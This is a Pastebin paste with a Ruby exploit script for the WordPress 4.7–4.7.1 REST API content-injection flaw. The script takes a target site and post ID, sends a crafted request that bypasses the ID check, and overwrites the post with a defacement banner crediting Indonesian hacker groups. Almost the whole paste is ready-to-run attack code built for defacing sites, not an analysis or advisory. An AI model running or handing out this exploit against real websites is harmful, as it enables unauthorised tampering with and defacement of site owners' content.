Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Exploit Title: WP Content Injection
- # Date: 31 Jan' 2017
- # Exploit Author: Harsh Jaiswal
- # Vendor Homepage: http://wordpress.org
- # Version: Wordpress 4.7 - 4.7.1 (Patched in 4.7.2)
- # Tested on: Backbox ubuntu Linux
- # Based on https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
- # Credits : Marc, Sucuri, Brute
- # usage : gem install rest-client
- # Lang : Ruby
- require 'rest-client'
- require 'json'
- puts "Enter Target URI (With wp directory)"
- targeturi = gets.chomp
- puts "Enter Post ID"
- postid = gets.chomp.to_i
- response = RestClient.post(
- "#{targeturi}/wp-json/wp/v2/posts/#{postid}",
- {
- "id" => "#{postid}justrawdata",
- "title" => "hacked by Rizaal@0n ft. Diki",
- "content" => "<font size='6' face='impact'>hacked by Rizaal@0n & Diki - Indonesian People<br><img src='http://4.bp.blogspot.com/-WYmz8_dG58E/VIxWSAVJCII/AAAAAAAAAIQ/Wek-pSKM2Rk/s1600/lulzsec-facebook-timeline-cover.jpg' \/><\/div><br><div style='text-align: center'><font size='4'>Thanks To :<br>N45HT - Indonesian Freedom Security - IndoXploit Coders Team - Gantengers Crew - Jones Unlimited Edition Team</font></font><br><font size='4'>n45ht.web.id</font>"
- }.to_json,
- :content_type => :json,
- :accept => :json
- ) {|response, request, result| response }
- if(response.code == 200)
- puts "Done! '#{targeturi}/index.php?p=#{postid}'"
- else
- puts "This site is not Vulnerable"
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement